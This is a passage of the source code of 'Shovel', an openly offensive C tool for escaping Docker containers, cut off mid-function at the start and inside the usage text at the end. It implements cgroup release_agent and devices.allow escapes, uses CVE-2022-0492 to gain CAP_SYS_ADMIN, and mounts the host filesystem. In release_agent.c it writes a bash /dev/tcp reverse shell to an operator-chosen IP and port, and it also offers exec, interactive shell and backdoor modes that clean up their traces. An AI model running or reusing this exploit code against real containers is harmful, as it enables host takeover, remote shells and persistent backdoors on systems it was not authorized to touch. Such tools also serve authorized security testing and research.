    char *host_dev_path_random = malloc(20 * sizeof(char));
    rand_string(host_dev_path_random, 20);
    strcat(host_mount_path, host_dev_path_random);
    free(host_dev_path_random);
    if (stat(host_mount_path, &st) == -1) {
        mkdir(host_mount_path, 0700);
    }

    printf_wrapper(INFO, "Mount host filesystem to docker\n");
    if (mount(host_dev_path, host_mount_path, host_dev_attribute.fstype, 0, NULL)) {
        printf_wrapper(ERROR, "Mount Host filesystem to %s failed\n", host_mount_path);
        return -1;
    }
    printf_wrapper(INFO, "Host filesystem mount path: %s\n", host_mount_path);
    device_allow_attack_info.host_filesystem_mount_path = (char *) malloc(256 * sizeof(char));
    memset(device_allow_attack_info.host_filesystem_mount_path, 0x00, 256);
    strcpy(device_allow_attack_info.host_filesystem_mount_path, host_mount_path);
    return 0;
}



================================================
FILE: exploits/devices_allow.h
================================================
//
// Created by FlagT on 2022/6/25.
//

#ifndef SHOVEL_DEVICES_ALLOW_H
#define SHOVEL_DEVICES_ALLOW_H

#endif //SHOVEL_DEVICES_ALLOW_H

int escape_by_device_allow();

int device_allow_shell();

int device_allow_reverse();

================================================
FILE: exploits/release_agent.c
================================================
#define _GNU_SOURCE
//
// Created by FlagT on 2022/6/22.
//

#include "release_agent.h"
#include <sched.h>
#include <unistd.h>
#include <stdio.h>
#include <fcntl.h>
#include <string.h>
#include <stdlib.h>
#include <sys/stat.h>
#include <sys/mount.h>
#include <signal.h>
#include "../util/random_str.h"
#include "../util/utils.h"
#include "../util/output.h"
#include "../util/custom_struts.h"

#define STACK_SIZE (1024 * 1024)
#define WAIT_RELEASE_AGENT_RUN_TIME 1

struct cgroup_procs_clone_args {
    char *cgroup_procs_path;
};

int clear_cgroup_procs(void *args) {
    char pid[10];
    struct cgroup_procs_clone_args *arg = (struct cgroup_procs_clone_args *) args;
    struct cgroup_procs_clone_args *cgroup_procs_args = (struct cgroup_procs_clone_args *) malloc(
            sizeof(struct cgroup_procs_clone_args));
    memcpy(cgroup_procs_args, arg, sizeof(struct cgroup_procs_clone_args));
    cgroup_procs_args->cgroup_procs_path = (char *) malloc((strlen(arg->cgroup_procs_path) + 1) * sizeof(char));
    strcpy(cgroup_procs_args->cgroup_procs_path, arg->cgroup_procs_path);

    sprintf(pid, "%d", getpid());
    if (attack_info.attack_mode != SHELL) {
        printf_wrapper(INFO, "Echo pid: %s to %s and this pid of process will close soon\n", pid,
                       cgroup_procs_args->cgroup_procs_path);
    }
    if (write_file(cgroup_procs_args->cgroup_procs_path, pid, O_WRONLY) != 0) {
        printf_wrapper(ERROR, "Set cgroup_procs failed\n");
    }
    free(cgroup_procs_args->cgroup_procs_path);
    free(cgroup_procs_args);
}

void release_agent_clear_all() {
    int remove_controller_path_ret = 0;
    int umount_cgroup_ret = 0;
    int remove_cgroup_mount_path_ret = 0;
    int remove_exp_path_ret = 0;
    int remove_output_path_in_container_ret = 0;
    if (*release_agent_attack_info.controller_path && file_exist(release_agent_attack_info.controller_path) != -1) {
        remove_controller_path_ret = remove_dir(release_agent_attack_info.controller_path);
    }
    if (*release_agent_attack_info.mount_path) {
        umount_cgroup_ret = umount(release_agent_attack_info.mount_path);
    }
    if (*release_agent_attack_info.mount_path && file_exist(release_agent_attack_info.mount_path) != -1) {
        remove_cgroup_mount_path_ret = remove_dir(release_agent_attack_info.mount_path);
    }
    if (attack_info.attack_mode != BACKDOOR && *release_agent_attack_info.exp_path &&
        file_exist(release_agent_attack_info.exp_path) != -1) {
        remove_exp_path_ret = remove_file(release_agent_attack_info.exp_path);
    }
    if (*release_agent_attack_info.output_path_in_container && attack_info.attack_mode != SHELL &&
        attack_info.attack_mode != REVERSE && attack_info.attack_mode != BACKDOOR &&
        file_exist(release_agent_attack_info.output_path_in_container) != -1) {
        remove_output_path_in_container_ret = remove_file(release_agent_attack_info.output_path_in_container);
    }
    if (remove_controller_path_ret != 0 || remove_cgroup_mount_path_ret != 0 || remove_exp_path_ret != 0 ||
        remove_output_path_in_container_ret != 0 || umount_cgroup_ret != 0) {
        printf_wrapper(ERROR, "Failed to clear attack related file\n");
    } else {
        printf_wrapper(INFO, "Already clear attack related files\n");
    }
}

int release_agent_exec() {
    if (attack_info.attack_mode == SHELL && strcmp(attack_info.command, "quit") == 0) {
        release_agent_clear_all();
        return 0;
    }

    int output_path_random_length = 5;
    char *output_path_random = malloc(output_path_random_length);
    char *output_path_in_container = malloc(output_path_random_length + strlen("/tmp/"));;
    rand_string(output_path_random, output_path_random_length);
    char exp[2048] = "#!/bin/bash\n";
    char cgroup_procs_path[512];

    strcat(exp, attack_info.command);
    strcat(exp, " &> ");
    strcat(exp, release_agent_attack_info.container_path_in_host);
    strcat(exp, "/tmp/");
    strcat(exp, output_path_random);

    if (write_file(release_agent_attack_info.exp_path, exp, O_CREAT | O_WRONLY | O_TRUNC) != 0) {
        printf_wrapper(ERROR, "Write exp file failed\n");
        release_agent_clear_all();
        return -1;
    }

    strcpy(output_path_in_container, "/tmp/");
    strcat(output_path_in_container, output_path_random);
    free(output_path_random);

    release_agent_attack_info.output_path_in_container = (char *) malloc(512 * sizeof(char));
    memset(release_agent_attack_info.output_path_in_container, 0x00, 512);
    strcpy(release_agent_attack_info.output_path_in_container, output_path_in_container);
    free(output_path_in_container);

    int exp_mode = S_IRUSR | S_IWUSR | S_IXUSR | S_IXGRP | S_IXOTH;
    if (chmod(release_agent_attack_info.exp_path, exp_mode) != 0) {
        printf_wrapper(ERROR, "call chmod to give %s execute permission failed\n", release_agent_attack_info.exp_path);
        release_agent_clear_all();
        return -1;
    }

    strcpy(cgroup_procs_path, release_agent_attack_info.controller_path);
    strcat(cgroup_procs_path, "/cgroup.procs");

    struct cgroup_procs_clone_args args;
    args.cgroup_procs_path = cgroup_procs_path;
    void *arg = (void *) &args;
    if (clone(clear_cgroup_procs, malloc(STACK_SIZE) + STACK_SIZE, SIGCLD, arg) == -1) {
        printf_wrapper(ERROR, "Clone new process into cgroup_procs and clear cgroup_procs failed\n");
        return -1;
    }
    if (attack_info.attack_mode != SHELL) {
        printf_wrapper(INFO, "Waiting for the command execution is completed (%ds)\n", WAIT_RELEASE_AGENT_RUN_TIME);
    }
    sleep(WAIT_RELEASE_AGENT_RUN_TIME);

    char *exec_command_result_buffer = malloc((1024 * 1024) * sizeof(char));
    memset(exec_command_result_buffer, 0x00, (1024 * 1024));
    if (read_file(release_agent_attack_info.output_path_in_container, exec_command_result_buffer, O_RDONLY) == -1) {
        printf_wrapper(ERROR, "Get command run result failed\n");
        release_agent_clear_all();
        return -1;
    }
    if (attack_info.attack_mode != SHELL) {
        printf_wrapper(INFO, "Command execution results are as follows: \n");
    }
    if (attack_info.attack_mode == EXEC) {
        printf("\n");
    }
    if (exec_command_result_buffer[strlen(exec_command_result_buffer) - 1] != '\n') {
        printf("%s\n", exec_command_result_buffer);
    } else {
        printf("%s", exec_command_result_buffer);
    }
    free(exec_command_result_buffer);

    if (attack_info.attack_mode == EXEC) {
        printf("\n");
        release_agent_clear_all();
    }

    if (attack_info.attack_mode == SHELL) {
        if (remove_file(release_agent_attack_info.output_path_in_container) != 0) {
            printf_wrapper(WARNING, "clear output result in container failed, path is %s\n",
                           release_agent_attack_info.output_path_in_container);
        }
    }
    return 0;
}

int release_agent_reverse() {
    int output_path_random_length = 5;
    char *output_path_random = malloc(output_path_random_length + 1);
    char cgroup_procs_path[512];
    char *output_path_in_container = malloc(output_path_random_length + strlen("/tmp/"));;
    rand_string(output_path_random, output_path_random_length);
    char exp[2048] = "#!/bin/bash\n";
    strcat(exp, "bash -i >& /dev/tcp/");
    strcat(exp, attack_info.ip);
    strcat(exp, "/");
    strcat(exp, attack_info.port);
    strcat(exp, " 0>&1");

    if (write_file(release_agent_attack_info.exp_path, exp, O_CREAT | O_WRONLY | O_TRUNC) != 0) {
        printf_wrapper(ERROR, "Write exp file failed\n");
        release_agent_clear_all();
        return -1;
    }

    strcpy(output_path_in_container, "/tmp/");
    strcat(output_path_in_container, output_path_random);
    free(output_path_random);

    release_agent_attack_info.output_path_in_container = (char *) malloc(512 * sizeof(char));
    memset(release_agent_attack_info.output_path_in_container, 0x00, 512);
    strcpy(release_agent_attack_info.output_path_in_container, output_path_in_container);
    free(output_path_in_container);

    int exp_mode = S_IRUSR | S_IWUSR | S_IXUSR | S_IXGRP | S_IXOTH;
    if (chmod(release_agent_attack_info.exp_path, exp_mode) != 0) {
        printf_wrapper(ERROR, "call chmod to give %s execute permission failed\n", release_agent_attack_info.exp_path);
        release_agent_clear_all();
        return -1;
    }

    strcpy(cgroup_procs_path, release_agent_attack_info.controller_path);
    strcat(cgroup_procs_path, "/cgroup.procs");

    struct cgroup_procs_clone_args args;
    args.cgroup_procs_path = cgroup_procs_path;
    void *arg = (void *) &args;
    if (clone(clear_cgroup_procs, malloc(STACK_SIZE) + STACK_SIZE, SIGCLD, arg) == -1) {
        printf_wrapper(ERROR, "Clone new process into cgroup_procs and clear cgroup_procs failed\n");
        return -1;
    }
    sleep(WAIT_RELEASE_AGENT_RUN_TIME);
    release_agent_clear_all();
    return 0;
}

int release_agent_backdoor() {
    char cgroup_procs_path[512];
    int exp_mode = S_IRUSR | S_IWUSR | S_IXUSR | S_IXGRP | S_IXOTH;
    if (chmod(release_agent_attack_info.exp_path, exp_mode) != 0) {
        printf_wrapper(ERROR, "call chmod to give %s execute permission failed\n", release_agent_attack_info.exp_path);
        release_agent_clear_all();
        return -1;
    }

    strcpy(cgroup_procs_path, release_agent_attack_info.controller_path);
    strcat(cgroup_procs_path, "/cgroup.procs");

    release_agent_attack_info.output_path_in_container = (char *) malloc(512 * sizeof(char));
    strcpy(release_agent_attack_info.output_path_in_container, attack_info.backdoor_path);

    struct cgroup_procs_clone_args args;
    args.cgroup_procs_path = cgroup_procs_path;
    void *arg = (void *) &args;
    if (clone(clear_cgroup_procs, malloc(STACK_SIZE) + STACK_SIZE, SIGCLD, arg) == -1) {
        printf_wrapper(ERROR, "Clone new process into cgroup_procs and clear cgroup_procs failed\n");
        return -1;
    }
    sleep(WAIT_RELEASE_AGENT_RUN_TIME);
    release_agent_clear_all();
    return 0;
}


int escape_by_release_agent() {
    printf_wrapper(INFO, "Start escape by release_agent\n");
    const int cgroup_path_random_length = 10;
    const int controller_path_random_length = 5;
    const int release_agent_exp_path_length = 5;
    char mount_path[128] = "/tmp/tmp.";
    char *controller = NULL;
    if (release_agent_attack_info.use_cve_2022_0492 == 1) {
        controller = "rdma";
    } else {
        controller = "memory";
    }
    char controller_path[128];
    char release_agent_path[128];
    char notify_on_release_path[128];
    char release_agent_exp_path[512];
    char exp_path[128] = "/tmp/";

    //    Mount Cgroup
    //    Create cgroup mount path as clion remote development path e.g. "tmp.RwYWARK7Me"
    char *cgroup_path_random = malloc(cgroup_path_random_length + 1);
    rand_string(cgroup_path_random, cgroup_path_random_length);
    strcat(mount_path, cgroup_path_random);
    free(cgroup_path_random);
    struct stat st = {0};
    if (stat(mount_path, &st) == -1) {
        mkdir(mount_path, 0700);
    }
    printf_wrapper(INFO, "Cgroup mount path: %s\n", mount_path);
    if (mount("cgroup", mount_path, "cgroup", 0, controller)) {
        printf_wrapper(ERROR, "Mount cgroup to %s failed\n", mount_path);
        return -1;
    }

    release_agent_attack_info.mount_path = (char *) malloc(512 * sizeof(char));
    strcpy(release_agent_attack_info.mount_path, mount_path);

    // create child cgroup
    char *controller_path_random = malloc(controller_path_random_length + 1);
    rand_string(controller_path_random, controller_path_random_length);
    strcpy(controller_path, mount_path);
    strcat(controller_path, "/");
    strcat(controller_path, controller_path_random);
    free(controller_path_random);
    printf_wrapper(INFO, "New cgroup controller path: %s\n", controller_path);
    if (stat(controller_path, &st) == -1) {
        mkdir(controller_path, 0777);
    }
    release_agent_attack_info.controller_path = (char *) malloc(512 * sizeof(char));
    strcpy(release_agent_attack_info.controller_path, controller_path);

    //enable notify_on_release
    strcpy(notify_on_release_path, controller_path);
    strcat(notify_on_release_path, "/notify_on_release");

    printf_wrapper(INFO, "Enable notify_on_release: %s\n", notify_on_release_path);
    if (file_exist(notify_on_release_path) == -1) {
        printf_wrapper(ERROR, "notify_on_release file %s not found\n", notify_on_release_path);
        return -1;
    }
    if (write_file(notify_on_release_path, "1", O_WRONLY) != 0) {
        printf_wrapper(ERROR, "Enable notify_on_release failed\n");
        release_agent_clear_all();
        return -1;
    }

    // set release_agent
    strcpy(release_agent_path, mount_path);
    strcat(release_agent_path, "/release_agent");
    if (file_exist(release_agent_path) == -1) {
        printf_wrapper(ERROR, "release_agent file %s not found\n", release_agent_path);
        return -1;
    }
    printf_wrapper(INFO, "Path of release_agent: %s\n", release_agent_path);
    if (attack_info.attack_mode != BACKDOOR) {
        char *release_agent_exp_path_random = malloc(release_agent_exp_path_length + 1);
        rand_string(release_agent_exp_path_random, release_agent_exp_path_length);
        strcpy(release_agent_exp_path, release_agent_attack_info.container_path_in_host);
        strcat(release_agent_exp_path, "/tmp/");
        strcat(release_agent_exp_path, release_agent_exp_path_random);
        printf_wrapper(INFO, "Write exp_path to release_agent: %s\n", release_agent_exp_path);
        if (write_file(release_agent_path, release_agent_exp_path, O_WRONLY) != 0) {
            printf_wrapper(ERROR, "Write release_agent failed\n");
            release_agent_clear_all();
            return -1;
        }

        strcat(exp_path, release_agent_exp_path_random);
        free(release_agent_exp_path_random);
        printf_wrapper(INFO, "Exp path: %s\n", exp_path);
    } else {
        strcpy(release_agent_exp_path, release_agent_attack_info.container_path_in_host);
        strcat(release_agent_exp_path, attack_info.backdoor_path);
        if (write_file(release_agent_path, release_agent_exp_path, O_WRONLY) != 0) {
            printf_wrapper(ERROR, "Write release_agent failed\n");
            release_agent_clear_all();
            return -1;
        }

        printf_wrapper(INFO, "Write exp_path to release_agent: %s\n", release_agent_exp_path);
        strcpy(exp_path, attack_info.backdoor_path);
    }

    release_agent_attack_info.exp_path = (char *) malloc(512 * sizeof(char));
    strcpy(release_agent_attack_info.exp_path, exp_path);
    return 0;
}

================================================
FILE: exploits/release_agent.h
================================================
//
// Created by FlagT on 2022/6/22.
//

#ifndef SHOVEL_RELEASE_AGENT_H
#define SHOVEL_RELEASE_AGENT_H

#endif //SHOVEL_RELEASE_AGENT_H


int escape_by_release_agent();

int release_agent_exec();

int release_agent_reverse();

int release_agent_backdoor();

================================================
FILE: main.c
================================================
#define _GNU_SOURCE

#include "docker/capability.h"
#include "exploits/cve_2022_0492.h"
#include <time.h>
#include <stdlib.h>
#include <string.h>
#include "util/output.h"
#include "util/program_info.h"
#include "docker/path.h"
#include "exploits/release_agent.h"
#include "util/regex_util.h"
#include "util/custom_struts.h"
#include "util/utils.h"
#include <getopt.h>
#include <stdio.h>
#include <unistd.h>
#include "docker/security.h"

#include "docker/cgroup.h"
#include "exploits/devices_allow.h"

#define DEFAULT_INPUT_BUFFER_SIZE 1024

int cap_sys_admin_check() {
    int sys_admin = check_cap_sys_admin();
    if (sys_admin == 0) {
        printf_wrapper(INFO, "Try to use CVE-2022-0492 to get CAP_SYS_ADMIN\n");
        int result = cve_2022_0294();
        if (result == 0) {
            printf_wrapper(INFO, "No CAP_SYS_ADMIN capability, use CVE_2022_0492 failed\n");
            return -1;
        } else {
            release_agent_attack_info.use_cve_2022_0492 = 1;
        }
    }
    return 0;
}


int main(int argc, char *argv[]) {

    srand(time(NULL));

    if (argc == 1) {
        usage(argv[0]);
        exit(EXIT_SUCCESS);
    }

    static const struct option opts[] = {
            {"help",           no_argument,       NULL, 'h'},
            {"version",        no_argument,       NULL, 'v'},
            {"release-agent",  no_argument,       NULL, 'r'},
            {"devices-allow",  no_argument,       NULL, 'd'},
            {"cve-2022-0492",  no_argument,       NULL, 'u'},
            {"container_path", required_argument, NULL, 'p'},
            {"mode",           required_argument, NULL, 'm'},
            {"command",        required_argument, NULL, 'c'},
            {"ip",             required_argument, NULL, 'I'},
            {"port",           required_argument, NULL, 'P'},
            {"backdoor_path",  required_argument, NULL, 'B'},
            {"assumeyes",      no_argument,       NULL, 'y'}
    };
    int opt;
    int assumeyes = 0;
    attack_info.attack_mode = -1;
    attack_info.attack_type = -1;
    attack_info.command = (char *) malloc(512 * sizeof(char));
    attack_info.ip = (char *) malloc(64 * sizeof(char));
    attack_info.backdoor_path = (char *) malloc(512 * sizeof(char));
    attack_info.port = (char *) malloc(10 * sizeof(char));
    attack_info.container_path = (char *) malloc(1024 * sizeof(char));
    memset(attack_info.command, 0x00, 512);
    memset(attack_info.ip, 0x00, 64);
    memset(attack_info.ip, 0x00, 512);
    memset(attack_info.port, 0x00, 10);
    memset(attack_info.container_path, 0x00, 1024);
    const char *opt_type = "hvrduyp:m:c:I:P:B:";
    while ((opt = getopt_long_only(argc, argv, opt_type, opts, NULL)) != -1) {
        switch (opt) {
            case 'h':
                usage(argv[0]);
                break;
            case 'v':
                print_version();
                break;
            case 'r':
                attack_info.attack_type = RELEASE_AGENT;
                break;
            case 'd':
                attack_info.attack_type = DEVICE_ALLOW;
                break;
            case 'c':
                attack_info.command = optarg;
                break;
            case 'm':
                if (strcmp(optarg, "exec") == 0) {
                    attack_info.attack_mode = EXEC;
                } else if (strcmp(optarg, "shell") == 0) {
                    attack_info.attack_mode = SHELL;
                } else if (strcmp(optarg, "reverse") == 0) {
                    attack_info.attack_mode = REVERSE;
                } else if (strcmp(optarg, "backdoor") == 0) {
                    attack_info.attack_mode = BACKDOOR;
                } else {
                    printf_wrapper(ERROR, "Unknown attack mode -m support {exec | shell | reverse}\n");
                    exit(EXIT_SUCCESS);
                }
                break;
            case 'I':
                attack_info.ip = optarg;
                break;
            case 'P':
                attack_info.port = optarg;
                break;
            case 'B':
                attack_info.backdoor_path = optarg;
                break;
            case 'u':
                attack_info.attack_type = CVE_2022_0492;
                attack_info.attack_mode = SHELL;
                break;
            case 'y':
                assumeyes = 1;
                break;
            case 'p':
                attack_info.container_path = optarg;
                break;
            default:
                usage(argv[0]);
                break;
        }
    }
    if (assumeyes != 1) {
        if (attack_info.attack_type == RELEASE_AGENT) {
            if (attack_info.attack_mode == EXEC) {
                output_bash_warning("release_agent", "exec");
            } else if (attack_info.attack_mode == SHELL) {
                output_bash_warning("release_agent", "shell");
            } else if (attack_info.attack_mode == REVERSE) {
                output_bash_warning("release_agent", "reverse");
            }
        } else if (attack_info.attack_type == DEVICE_ALLOW) {
            if (attack_info.attack_mode == REVERSE) {
                output_bash_warning("device_allow", "reverse");
            }
        }
    }
    if (attack_info.attack_type == -1 || attack_info.attack_mode == -1) {
        printf_wrapper(ERROR, "Args set error, args of escape and -m must set\n");
        exit(EXIT_SUCCESS);
    }
    if (attack_info.attack_mode == EXEC && attack_info.command[0] == 0x00) {
        printf_wrapper(ERROR, "In exec mode, -c must be set and can't be empty\n");
        exit(EXIT_SUCCESS);
    }
    if (attack_info.attack_mode == REVERSE && (attack_info.ip[0] == 0x00 || strcmp(attack_info.port, "") == 0)) {
        printf_wrapper(ERROR, "In reverse mode, -I and -P must set\n");
        exit(EXIT_SUCCESS);
    }

    if (attack_info.attack_mode == BACKDOOR && attack_info.backdoor_path == 0x00) {
        printf_wrapper(ERROR, "In backdoor mode, -B  must set\n");
        exit(EXIT_SUCCESS);
    }
    printf_wrapper(INFO, "Check if container enable seccomp\n");
    long int seccomp_status = seccomp_enable_check();
    if (seccomp_status == 0) {
        printf_wrapper(INFO, "Current container disabled seccomp\n");
    } else if (seccomp_status == -1) {
        printf_wrapper(ERROR, "Check if container enable seccomp failed\n");
    } else {
        printf_wrapper(WARNING, "Current container enable seccomp\n");
    }

    printf_wrapper(INFO, "Check if container enable apparmor\n");
    int apparmor_status = apparmor_enable_check();
    if (apparmor_status == 1) {
        printf_wrapper(INFO, "Current container disabled apparmor\n");
    } else if (apparmor_status == -1) {
        printf_wrapper(ERROR, "Check if container enable apparmor failed\n");
    } else {
        printf_wrapper(WARNING, "Current container enable apparmor\n");
    }


    printf_wrapper(INFO, "Check if the program is running in docker\n");
    char *cgroup_id = malloc(512 * sizeof(char));
    memset(cgroup_id, 0x00, 512);
    get_cgroup_id(cgroup_id);
    if (!*cgroup_id) {
        printf_wrapper(WARNING, "The current running environment does not appear to be a docker or k8s\n");
    }
    switch (attack_info.attack_type) {
        case RELEASE_AGENT: {
            release_agent_attack_info.use_cve_2022_0492 = 0;
            if (cap_sys_admin_check() == -1) {
                printf_wrapper(ERROR,
                               "Current process don't have CAP_SYS_ADMIN capability,can't escape by using release_agent\n");
            }
            release_agent_attack_info.container_path_in_host = (char *) malloc(1024 * sizeof(char));
            memset(release_agent_attack_info.container_path_in_host, 0x00, 1024);
            if (attack_info.container_path[0] == 0x00) {
                printf_wrapper(INFO, "Try to get container path in host\n");
                char *container_path_in_host = (char *) malloc(1024 * sizeof(char));
                memset(container_path_in_host, 0x00, 1024);
                get_container_path_in_host(container_path_in_host);
                if (*container_path_in_host == 0x00) {
                    printf_wrapper(ERROR, "Get container path in host failed\n");
                    exit(EXIT_SUCCESS);
                }
                strcpy(release_agent_attack_info.container_path_in_host, container_path_in_host);
                free(container_path_in_host);
            } else {
                strcpy(release_agent_attack_info.container_path_in_host, attack_info.container_path);
            }
            if (escape_by_release_agent() != 0) {
                printf_wrapper(ERROR, "Escape by release_agent failed\n");
                exit(EXIT_SUCCESS);
            }

            if (attack_info.attack_mode == EXEC) {
                if (release_agent_exec() == -1) {
                    printf_wrapper(ERROR, "Execute the command %s failed\n", attack_info.command);
                }
            }

            if (attack_info.attack_mode == SHELL) {
                printf_wrapper(INFO,
                               "About to enter shell, please enter 'quit' to exit shell, other way out, such as using 'ctrl+c' will not clean up the attack\n");

                char *inputBuffer = malloc(sizeof(char) * DEFAULT_INPUT_BUFFER_SIZE);
                memset(inputBuffer, 0x00, DEFAULT_INPUT_BUFFER_SIZE);
                while (strcmp(inputBuffer, "quit") != 0) {
                    printf("# ");
                    fgets(inputBuffer, DEFAULT_INPUT_BUFFER_SIZE, stdin);
                    if (inputBuffer[strlen(inputBuffer) - 1] != '\n') {
                        printf_wrapper(ERROR, "The input was too long, input buffer size %s",
                                       DEFAULT_INPUT_BUFFER_SIZE);
                    }
                    inputBuffer[strcspn(inputBuffer, "\n")] = 0x00;
                    strcpy(attack_info.command, inputBuffer);
                    if (release_agent_exec() == -1) {
                        printf_wrapper(ERROR, "Execute the command %s failed\n", attack_info.command);
                    }
                }
                free(inputBuffer);
            }

            if (attack_info.attack_mode == REVERSE) {
                if (release_agent_reverse() == -1) {
                    printf_wrapper(ERROR, "Reverse shell failed\n");
                }
            }

            if (attack_info.attack_mode == BACKDOOR) {
                if (release_agent_backdoor() == -1) {
                    printf_wrapper(ERROR, "Run backdoor %s failed\n", attack_info.backdoor_path);
                }
            }
            break;
        }
        case DEVICE_ALLOW: {
            if (!*cgroup_id) {
                printf_wrapper(ERROR, "Get container cgroup path failed, cannot escape by device_allow\n");
                exit(EXIT_SUCCESS);
            }
            if (attack_info.attack_mode == EXEC) {
                printf_wrapper(ERROR, "Escape by device_allow not support exec mode\n");
                exit(EXIT_SUCCESS);
            } else if (attack_info.attack_mode == SHELL) {
                if (check_cap_sys_admin() == -1) {
                    printf_wrapper(ERROR,
                                   "Current process don't have CAP_SYS_ADMIN capability,can't escape by using device_allow\n");
                    return -1;
                }
                device_allow_attack_info.cgroup_id = malloc(512 * sizeof(char));
                strcpy(device_allow_attack_info.cgroup_id, cgroup_id);
                if (escape_by_device_allow() != -1) {
                    device_allow_shell();
                } else {
                    printf_wrapper(ERROR, "Escape by device_allow failed\n");
                }
            } else if (attack_info.attack_mode == REVERSE) {
                if (check_cap_sys_admin() == -1) {
                    printf_wrapper(ERROR,
                                   "Current process don't have CAP_SYS_ADMIN capability,can't escape by using device_allow\n");
                }
                device_allow_attack_info.cgroup_id = malloc(512 * sizeof(char));
                strcpy(device_allow_attack_info.cgroup_id, cgroup_id);
                if (escape_by_device_allow() != -1) {
                    device_allow_reverse();
                } else {
                    printf_wrapper(ERROR, "Escape by device_allow failed\n");
                }
            }
            break;
        }
        case CVE_2022_0492: {
            int sys_admin = check_cap_sys_admin();
            if (sys_admin == 0) {
                printf_wrapper(INFO, "Try to attack by CVE-2022-0492 to get CAP_SYS_ADMIN\n");
                int result = cve_2022_0294();
                if (result == 0) {
                    printf_wrapper(INFO, "Attack by CVE_2022_0492 failed\n");
                } else {
                    printf_wrapper(INFO, "Attack by CVE_2022_0492 success\n");
                    char *bash_args[] = {
                            "/bin/bash",
                            NULL
                    };
                    int ret = execvp(bash_args[0], bash_args);
                    if (ret == -1) {
                        exit(EXIT_SUCCESS);
                    } else {
                        printf_wrapper(INFO, "New process id: %d", ret);
                    }
                }
            } else {
                printf_wrapper(INFO,
                               "Current process already has CAP_SYS_ADMIN capability, no need to use CVE_2022_0492\n");
            }
            break;
        }
    }
}


================================================
FILE: util/custom_struts.c
================================================
//
// Created by FlagT on 2022/6/26.
//

#include "custom_struts.h"


================================================
FILE: util/custom_struts.h
================================================
//
// Created by FlagT on 2022/6/26.
//

#ifndef SHOVEL_CUSTOM_STRUTS_H
#define SHOVEL_CUSTOM_STRUTS_H

#endif //SHOVEL_CUSTOM_STRUTS_H


enum ATTACK_TYPE {
    RELEASE_AGENT,
    DEVICE_ALLOW,
    CVE_2022_0492,
};

enum ATTACK_MODE {
    EXEC,
    SHELL,
    REVERSE,
    BACKDOOR
};

struct ATTACK_INFO {
    int attack_type;
    int attack_mode;
    char *command;
    char *ip;
    char *port;
    char *backdoor_path;
    char *container_path;
} attack_info;


struct RELEASE_AGENT_ATTACK_INFO {
    char *exp_path;
    char *container_path_in_host;
    char *controller_path;
    char *mount_path;
    char *output_path_in_container;
    int use_cve_2022_0492;
} release_agent_attack_info;

struct DEVICE_ALLOW_ATTACK_INFO {
    char *cgroup_id;
    char *host_filesystem_mount_path;
    char *crontab_path;
    char *exp;
    char *host_dev_path;
    char *device_allow_path;
    char *mount_path;
} device_allow_attack_info;

struct HOST_DEV_ATTRIBUTE {
    int major;
    int minor;
    char *fstype;
} host_dev_attribute;

================================================
FILE: util/mount_info.c
================================================
//
// Created by FlagT on 2022/7/10.
//

#include <bits/types/FILE.h>
#include <mntent.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include "mount_info.h"
#include "utils.h"


int load_mount_info(char *path, struct mntent *mounts_info[]) {
    struct mntent *ent;
    FILE *mounts_file;
    mounts_file = setmntent(path, "r");
    if (mounts_file == NULL) {
        perror("setmntent");
        exit(1);
    }
    int count = 0;
    while (NULL != (ent = getmntent(mounts_file))) {
        struct mntent *tmp_ent = (struct mntent *) malloc(sizeof(struct mntent));
        memcpy(tmp_ent, ent, sizeof(struct mntent));
        tmp_ent->mnt_dir = (char *) malloc((strlen(ent->mnt_dir) + 1) * sizeof(char));
        tmp_ent->mnt_fsname = (char *) malloc((strlen(ent->mnt_fsname) + 1) * sizeof(char));
        tmp_ent->mnt_type = (char *) malloc((strlen(ent->mnt_type) + 1) * sizeof(char));
        tmp_ent->mnt_opts = (char *) malloc((strlen(ent->mnt_opts) + 1) * sizeof(char));
        strcpy(tmp_ent->mnt_dir, ent->mnt_dir);
        strcpy(tmp_ent->mnt_fsname, ent->mnt_fsname);
        strcpy(tmp_ent->mnt_type, ent->mnt_type);
        strcpy(tmp_ent->mnt_opts, ent->mnt_opts);
        mounts_info[count] = tmp_ent;
        count += 1;
    }
    endmntent(mounts_file);
    return count;
}

================================================
FILE: util/mount_info.h
================================================
//
// Created by FlagT on 2022/7/10.
//

#ifndef SHOVEL_MOUNT_INFO_H
#define SHOVEL_MOUNT_INFO_H

#endif //SHOVEL_MOUNT_INFO_H

int load_mount_info(char *path, struct mntent *mounts_info[]);

================================================
FILE: util/output.c
================================================
//
// Created by FlagT on 2022/6/22.
//

#include <stdio.h>
#include <malloc.h>
#include <string.h>
#include <stdarg.h>
#include <stdlib.h>
#include "output.h"


void printf_info(char *format, va_list args_list) {
    char *info_msg_format = (char *) malloc((strlen("[info] ") + strlen(format)) * sizeof(char));
    strcpy(info_msg_format, "[INFO] ");
    strcat(info_msg_format, format);
    vprintf(info_msg_format, args_list);
    free(info_msg_format);
}

void printf_warning(char *format, va_list args_list) {
    char *warning_msg_format = (char *) malloc((strlen("[warning] ") + strlen(format)) * sizeof(char));
    strcpy(warning_msg_format, "[WARNING] ");
    strcat(warning_msg_format, format);
    vprintf(warning_msg_format, args_list);
    free(warning_msg_format);
}

void printf_error(char *format, va_list args_list) {
    char *error_msg_format = (char *) malloc((strlen("[error] ") + strlen(format)) * sizeof(char));
    strcpy(error_msg_format, "[ERROR] ");
    strcat(error_msg_format, format);
    vprintf(error_msg_format, args_list);
    free(error_msg_format);
}

void printf_wrapper(int type, char *format, ...) {
    va_list marker;
    va_start(marker, format);
    switch (type) {
        case INFO:
            printf_info(format, marker);
            break;
        case WARNING:
            printf_warning(format, marker);
            break;
        case ERROR:
            printf_error(format, marker);
            break;
        default:
            printf_info(format, marker);
            break;
    };
    va_end(marker);
}

================================================
FILE: util/output.h
================================================
//
// Created by FlagT on 2022/6/22.
//

#ifndef SHOVEL_OUTPUT_H
#define SHOVEL_OUTPUT_H

#endif //SHOVEL_OUTPUT_H


enum output_type {
    INFO = 1,
    ERROR = 2,
    WARNING= 3,
};

void printf_wrapper(int type, char* format, ...);

================================================
FILE: util/program_info.c
================================================
//
// Created by FlagT on 2022/6/25.
//

#include "program_info.h"

#include <stdio.h>
#include <stdlib.h>

#define PROGRAM_NAME "Shovel"
#define VERSION "1.3"


void usage(char *args0) {
    printf("usage: %s [options ...]\n"
           "\n"
           "Options:\n"
           "Options of program\n"
           "    -h, --help                           show help message\n"
           "    -v, --version                        show program version\n"
           "Options of escape\n"
           "    -r, --release-agent                  escape by release-agent\n"
           "    -d, --devices-allow                  escape by devices-allow\n"
